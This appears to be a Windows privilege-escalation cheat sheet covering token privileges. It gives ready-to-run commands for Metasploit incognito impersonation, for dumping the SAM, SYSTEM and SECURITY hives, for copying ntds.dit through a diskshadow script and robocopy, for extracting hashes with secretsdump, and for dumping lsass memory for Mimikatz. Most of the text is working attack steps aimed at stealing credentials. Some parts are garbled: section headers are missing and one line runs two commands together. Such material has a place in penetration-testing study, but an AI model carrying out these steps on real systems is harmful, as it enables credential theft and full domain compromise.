SeAssignPrimaryToken: Allows a process to assign the primary token for a process. This privilege is critical for creating processes with specific user security contexts.
SeCreateToken: The SeCreateToken privilege allows a process to create new security tokens, typically used for authentication and identity representation.
SeImpersonatePrivilege: The SeImpersonatePrivilege allows a process to impersonate other users' security tokens. This privilege is crucial for operations.
Incognito (Metasploit)
With a meterpreter shell and once we confirmed that we have these privileges, we can load incognito:
load incognito
To list the tokens:
list_tokens -u
For impersonating a token:
impersonate_token "name"
For upgrading the privileges in meterpreter shell we have to migrate to other pid:
pgrep explorer
migrate id
PrintSpoofer (Only works on Windows 10 and Server 2019)
We have to upload the nc.exe and PrintSpoofer.exe files to the victim machine:
This privilege allows a user to read any file on the system, even those they would not normally have access to, by accessing files in "backup mode."
You can potentially exploit this by creating copies of sensitive files (like the SAM database, registry hives, or password-protected files) and then extracting credentials offline. For instance:
reg save HKLM\SECURITY security.hive
reg save HKLM\sam sam.hive
reg save HKLM\system system.hive
Dumping Hashes
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
In our kali, create a file.dsh which is a Distributed Shell File.
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias foobar
create
expose %foobar% z:
Then use unix2dos to convert the encoding and spacing of the dsh file to a format that is compatible with the Windows machine, ensuring seamless execution.
unix2dos file.dsh
And upload the file to the machine
Transferring and Executing the DSH File
When it is uploaded run the file.
diskshadow /s file.dsh
Now, we can use the RoboCopy tool to copy the file from the Z Drive to the Temp Directory.
robocopy /b z:\windows\ntds . ntds.dit
## other method
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.ditExport System Registry Value
reg save HKLM\SYSTEM c:\temp\system
Finally send the system and ntds.dit file to our kali
Extract the Hashes
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
SeDebugPrivilege
We can use ProcDump from the SysInternals suite to leverage this privilege and dump process memory.
procdump.exe -accepteula -ma lsass.exe lsass.dmp
This is successful, and we can load this in Mimikatz using the sekurlsa::minidump command.